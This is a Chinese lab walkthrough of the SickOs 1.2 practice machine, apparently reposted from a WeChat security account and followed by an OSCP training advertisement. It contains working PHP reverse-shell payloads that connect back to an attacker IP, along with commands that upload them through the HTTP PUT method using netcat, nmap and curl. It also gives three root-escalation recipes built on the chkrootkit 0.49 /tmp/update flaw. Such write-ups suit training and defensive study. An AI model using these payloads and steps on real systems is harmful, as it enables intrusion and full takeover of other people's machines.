打靶日记 SickOs 1.2

admin 2025年3月27日14:16:05评论3 views字数 6875阅读22分55秒阅读模式

一、探测靶机IP(进行信息收集)

主机发现

arp-scan -l
打靶日记 SickOs 1.2
nmap -sS -sV -p- -T5 192.168.253.233 -A
打靶日记 SickOs 1.2

二、进入网页

打靶日记 SickOs 1.2

查看网页原代码

打靶日记 SickOs 1.2

尝试目录枚举,就扫出来了一个test

dirb http://192.168.253.233
打靶日记 SickOs 1.2

查看有没有隐藏文件,发现并没有

diraserch -u http://192.168.253.233
diraserch -u http://192.168.253.233/test

进入test目录

打靶日记 SickOs 1.2

看到lighttpd/1.4.28,找找有没有exp

看到一个

打靶日记 SickOs 1.2
打靶日记 SickOs 1.2

利用失败,只有一个22端口和一个80端口,ssh也不知道密码,突破点就应该还在80端口

三、getshell(PUT上传漏洞)

看到目录猜测有文件上传,看了一些师傅的方法

nikto扫描

nikto -h http://192.168.253.233/test/ -ask all
  • -h:指定要扫描的目标主机的 URL。

  • -ask all:让 Nikto 询问服务器支持的所有 HTTP 方法。

这里只允许put

打靶日记 SickOs 1.2

方法一(Netcat)

Netcat,只要是有关TCP和UDP的都能使用Netcat,它可以打开TCP连接,发送UDP数据包,监听任意的TCP和UDP端口,进行端口扫描,可作为简易文件传输工具,如服务端 nc -l -p 8888 > file.txt 接收文件,客户端 nc <服务端IP> 8888 < file.txt 发送文件。

判断目标服务器是否支持OPTIONS方法,并查看支持的 HTTP 方法列表

echo -e "OPTIONS /test/ HTTP/1.1rnHost: 192.168.253.233rnrn" | nc 192.168.253.233 80

管道的作用是把前一个命令的输出当作后一个命令的输入。

  • echo 命令用于输出文本。

  • -e 选项允许解析转义字符(如 rn)。

  • OPTIONS /test/ HTTP/1.1:使用 OPTIONS 方法查询路径 /test/ 支持的 HTTP 方法,协议为 HTTP/1.1。

  • Host: 192.168.253.233:指定目标服务器的地址(HTTP/1.1 要求必须包含 Host 头)。

  • rnrn:表示两个换行符,标志 HTTP 请求头的结束。

该命令的整体功能是构建一个 HTTP OPTIONS 请求,然后通过netcat 工具把这个请求发送到 IP 地址为 192.168.253.233、端口为 80 的服务器,服务器收到请求之后,会返回其支持的 HTTP 方法列表等相关信息

虽然这里允许的Http方法很多,目标服务器 test/ 路径下无处理 例如POST 上传文件的脚本逻辑(如无接收 file 字段并存储文件的代码),会仅返回了目录列表,只有put可以

打靶日记 SickOs 1.2
vim 1.php
# 写入php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.253.129/8888 0>&1'");?>

**上传1.**php

(
  echo -ne "PUT /test/1.php HTTP/1.1rnHost: 192.168.253.233rnContent-Type: text/plainrnContent-Length: $(wc -c < 1.php)rnrn"
  cat 1.php
) | nc 192.168.253.233 80

好消息:成功上传 坏消息:没有getshell

防火墙的出站规则:防火墙会检查设备对外发起的网络连接(出站流量),若目标端口不在允许列表内,连接会被阻断。例如靶机防火墙配置了 “允许访问外部 443 端口”,但拦截对 8888 端口的出站请求,此时你监听本地 8888 端口,靶机因防火墙规则无法成功连接。

猜测端口被防火墙禁用了,这里再次尝试443端口或者监听 80 端口,80端口不行,443端口成功了,8080端口也可以

vim 3.php
# 写入php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.253.129/443 0>&1'");?>

上传3.php(443端口)

(
  echo -ne "PUT /test/3.php HTTP/1.1rnHost: 192.168.253.233rnContent-Type: text/plainrnContent-Length: $(wc -c < 3.php)rnrn"
  cat 3.php
) | nc 192.168.253.233 80
  • echo:用于输出文本内容到标准输出。

  • -n:选项表示不自动添加换行符到输出的末尾。

  • -e:选项允许 echo 解释反斜杠转义字符,例如 r 表示回车符,n 表示换行符。

  • 输出内容:这是一个符合 HTTP 协议规范的请求头,具体解释如下:

    • PUT /test/3.php HTTP/1.1:这是 HTTP 请求行,PUT 是 HTTP 方法,用于向服务器上传资源,/test/3.php 是要上传到服务器的目标路径和文件名,HTTP/1.1 表示使用的 HTTP 协议版本。

    • Host: 192.168.253.233:这是必需的 HTTP 请求头字段,用于指定请求的目标主机的 IP 地址。

    • Content-Type: text/plain:该字段指定了上传内容的类型,这里表示上传的是纯文本内容。

    • Content-Length: $(wc -c < 3.php):这是另一个重要的请求头字段,用于指定上传内容的长度。$(wc -c < 3.php) 是一个命令替换,wc -c < 3.php 会统计本地文件 3.php 的字节数,将其作为 Content-Length 的值。

    • rnrn:两个连续的回车换行符,表示 HTTP 请求头的结束。

  • cat 命令用于读取并输出文件的内容。这里它会读取本地文件 3.php 的内容,并将其输出到标准输出。由于前面已经输出了 HTTP 请求头,此时文件内容会紧跟在请求头之后,形成完整的 HTTP PUT 请求。

打靶日记 SickOs 1.2
打靶日记 SickOs 1.2

复用 80端口****的 HTTP 流量(隐蔽性高)

原理:将反向 Shell 流量伪装成 HTTP 请求,与现有 Web 服务共存(例如通过 HTTP 头或 POST 请求传递数据)。

  • 复用 80 端口,流量伪装成 HTTP 请求,绕过防火墙检测。

  • 现有 Web 服务仍可运行(需确保 socat 绑定到相同 IP)

修改PHP代码(使用 HTTP 隧道)

<?php
$attack_ip = "192.168.253.129";  // 攻击机 IP
$attack_port = 80;               // 攻击机端口

// 建立 TCP 连接
$sock = fsockopen($attack_ip, $attack_port);
if (!$sock) die("连接失败");

// 生成随机 HTTP 路径(非文件路径)
$http_path = "/" . bin2hex(random_bytes(4));

// 发送伪装的 HTTP 请求头
fwrite($sock, "POST $http_path HTTP/1.1rn");
fwrite($sock, "Host: $attack_iprn");
fwrite($sock, "Content-Type: application/x-www-form-urlencodedrn");
fwrite($sock, "Connection: keep-alivernrn");

// 执行命令并返回结果
while (!feof($sock)) {
    $cmd = fread($sock, 1024);
    $output = shell_exec($cmd);
    fwrite($sock, $output);
}
fclose($sock);
?>
(
echo -ne "PUT /test/socat.php HTTP/1.1rnHost: 192.168.253.233rnContent-Type: text/plainrnContent-Length: $(wc -c < socat.php)rnrn"
  cat socat.php
) | nc 192.168.253.233 80

上传成功

攻击机使用socat监听 HTTP 流量

# 监听 80 端口并处理 HTTP 流量
sudo socat TCP-LISTEN:80,reuseaddr,fork EXEC:'/bin/bash -i',pty,stderr,setsid,sigint,sane

攻击机的80端口也没有被占用,但是没有getshell,不知道具体原因在哪,还望知道的师傅能够不吝赐教

方法二(nmap)

vim 4.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.253.129/443 0>&1'");?>
nmap --script http-put --script-args http-put.url='/test/4.php',http-put.file='4.php'192.168.253.233 -p 80
  • nmap:Nmap 是一款广泛使用的网络扫描和安全审计工具,可用于发现主机、端口和服务等网络信息,同时它也支持通过脚本来执行各种特定任务。

  • --script http-put:指定使用 Nmap 自带的 http-put 脚本。该脚本的作用是通过 HTTP PUT 方法向目标服务器上传文件。

  • --script-args:用于给指定的脚本传递参数。在这个命令里,它后面跟着的就是传递给 http-put 脚本的参数。

    • http-put.url='/test/4.php':明确文件要上传到目标服务器的具体路径和文件名。这里表示要将文件上传到服务器的 /test/ 目录下,文件名保持为 4.php

    • http-put.file='4.php':指定本地要上传的文件名。也就是说,会把当前工作目录下的 4.php 文件上传到目标服务器。

  • 192.168.253.233:目标服务器的 IP 地址,表明要将文件上传到该 IP 对应的服务器上。

  • -p 80:指定目标服务器上的端口号

getshell

打靶日记 SickOs 1.2

方法三(burp)

打靶日记 SickOs 1.2
打靶日记 SickOs 1.2

上传burp.php文件成功

打靶日记 SickOs 1.2
打靶日记 SickOs 1.2

Getshell

方法四(curl)

vim 5.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.253.129/443 0>&1'");?>
curl -i -X PUT -T 5.php http://192.168.253.233/test/5.php
  • curl:这是命令的基础,curl 是一个强大的用于传输数据的命令行工具,支持多种协议,如 HTTP、HTTPS、FTP 等。

  • -i:该选项的作用是让输出结果包含服务器响应的 HTTP 头部信息。HTTP 头部包含了诸如响应状态码、内容类型、缓存控制等许多有用的信息,添加 -i 可以方便我们查看这些信息,从而了解服务器对请求的处理情况。

  • -X PUT-X 选项用于指定要使用的 HTTP 请求方法,这里指定为 PUT 方法。在 HTTP 协议中,PUT 方法通常用于向服务器上传或替换资源,也就是将请求体中的数据存储到指定的 URL 所对应的资源上。在这个命令里,就是将本地的 5.php 文件上传到目标服务器。

  • -T-T 是 --upload-file 的缩写,用于指定要上传的文件。这里指定的是本地的 5.php 文件,意味着要把这个文件上传到目标服务器。

打靶日记 SickOs 1.2
nc -nvlp 443
打靶日记 SickOs 1.2

Getshell

四、提权

查看版本信息

uname -a 
lsb_release -a
打靶日记 SickOs 1.2
打靶日记 SickOs 1.2

为32位,ubuntu12.04 linux3.11

searchsploit ubuntu  12.04 |grep -v "x86-64"
searchsploit -m 37292.

先尝试37292.c

打靶日记 SickOs 1.2

注意这里开启端口的服务,由于防火墙拒绝了大部分端口的出站请求,443端口开启服务是不行的,所以这里监听8080端口

python -m http.server 8080
wget http://192.168.253.129:8080/37292.c
gcc -o exp 37292.c

利用失败

打靶日记 SickOs 1.2

后面这几个都尝试了,均不能利用

查找具有 SUID 权限的文件

find / -perm -4000 -print2>/dev/null
打靶日记 SickOs 1.2

没有什么可以利用的

查看定时任务(Cron Jobs)

ls -alh /etc/*cron*
  • ls -alh:以 长格式(-l) 显示文件详细信息,包括权限、所有者、大小、时间等;-h 让文件大小以人类可读的格式(如 KB、MB)展示。

  • /etc/_cron_:匹配 /etc/ 目录下所有包含 cron 关键字的文件和目录(通配符 * 表示任意字符)

打靶日记 SickOs 1.2
find / -name .placeholder* 2>/dev/null

查找placeholder,并且隐藏报错信息

placeholder里写不得编辑或删除 此文件是一个简单的占位符,用于防止 dpkg 删除此目录

在上面还看到一个chkrootkit工具

chkrootkit 是一款在 Unix 及类 Unix 系统(如 Linux、BSD 等)上广泛使用的开源工具,主要用于检测系统是否被植入 Rootkit

find / -name chkrootkit* 2>/dev/null
打靶日记 SickOs 1.2

这里看到chkrootkit为0.49版本,去网上搜索一下,发现chkrootkit 0.49存在漏洞

打靶日记 SickOs 1.2
  • 在/tmp目录中放置一个名为'update'的可执行文件(显然,未挂载为noexec),且其所有者不是root。

  • 以uid 0运行chkrootkit。

目标靶机的Chkrootkit会周期性以root身份执行目录/tmp/update的文件

结果:如果恶意内容被放置在该文件中,那么/tmp/update文件将以root权限执行,从而有效地使您的系统被root。

如果攻击者知道您定期运行chkrootkit(例如通过cron.daily),并且对/tmp有写入权限(未挂载为noexec),他可以轻松利用此漏洞。

提权方法一

www-data ALL=(ALL : ALL) NOPASSWD:ALL
  • "www-data ALL=(ALL) NOPASSWD:ALL" 是要输出的文本内容,其含义是配置 www-data 用户(通常是 Web 服务器运行的用户,如 Apache 或 Nginx)可以在任何主机上以任何用户的身份执行所有命令,并且执行时不需要输入密码。
echo'chmod +w /etc/sudoers && echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
  • /etc/sudoers 是文件的路径,这个文件存储着系统中用户和用户组使用 sudo 命令的权限配置信息。默认情况下,该文件只有只读权限,要对其进行修改,就需要先添加写权限。
chmod +x update

给update文件赋执行权限,并且目标靶机的Chkrootkit会周期性以root身份执行目录/tmp/update的文件

打靶日记 SickOs 1.2

提权方法二

echo "cp /bin/bash /tmp/getroot; chown root:root /tmp/getroot; chmod u+s /tmp/getroot" >> /tmp/update
chmod +x updata
/tmp/getroot -p

执行/tmp/getroot -p时,-p是Bash的选项,其含义为

  • 保持特权模式--privileged),阻止Bash在启动时重置特权。

  • 如果没有-p,Bash会检测到自己是Setuid程序,并主动将EUID从root降级为实际用户ID(即调用者的普通用户身份)。

  • 通过-p,Bash跳过这一保护机制,维持EUID为root,从而获得root权限的Shell。

打靶日记 SickOs 1.2

提权方法三

这个是看的别的师傅用的

在kali上编辑好再传到靶机进行编译执行即可提权

#include<unistd.h>void main(void)
{
system("chown root:root /tmp/update");
system("chmod 4755 /tmp/update");
setuid(0);
setgid(0);
execl("/bin/sh","sh",NULL);
}

END

oscp有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:

1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看

2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑

3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频

4.加入课程可享受工作推荐机会,优秀者可内推至红队

5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有

打靶日记 SickOs 1.2

知识星球

还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包

打靶日记 SickOs 1.2
打靶日记 SickOs 1.2
打靶日记 SickOs 1.2

原文始发于微信公众号(泷羽Sec-临观):打靶日记 SickOs 1.2

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月27日14:16:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶日记 SickOs 1.2https://cn-sec.com/archives/3887818.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息